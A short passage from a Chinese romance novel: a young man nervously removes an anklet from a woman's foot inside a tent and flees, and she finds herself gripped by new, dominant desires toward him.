见栗烈迟迟没有动作,那粉嫩可爱的脚趾往前送了送。
栗烈浑身紧绷,不自觉咽了下口水。
伸手将脚链从冰清玉洁的脚趾上取下,栗烈小心翼翼控制着自己的手不碰到对方的肌肤,那惴惴不安的姿态,仿佛他碰的,是一件一碰即碎的稀世瓷器。
“我……等、等我一下。”栗烈拿上脚链,连看温微竹的勇气都没有,便火急火燎地离开了帐篷。
温微竹依旧保持的原先的姿势没有动。
她仿佛被另外一个自己控制了。
想将那英俊的眉眼,高挺的鼻梁踩在脚下;
想让那双冷淡凶狠却垂眸逃避的双眸染上泪光;
想将手指放入对方的嘴里,触摸洁白坚硬的牙齿,捉弄柔软的舌头,让对方合不拢嘴。
……
那一刻的冲动是如此真实与深刻。
她好像觉醒了什么了不得的东西。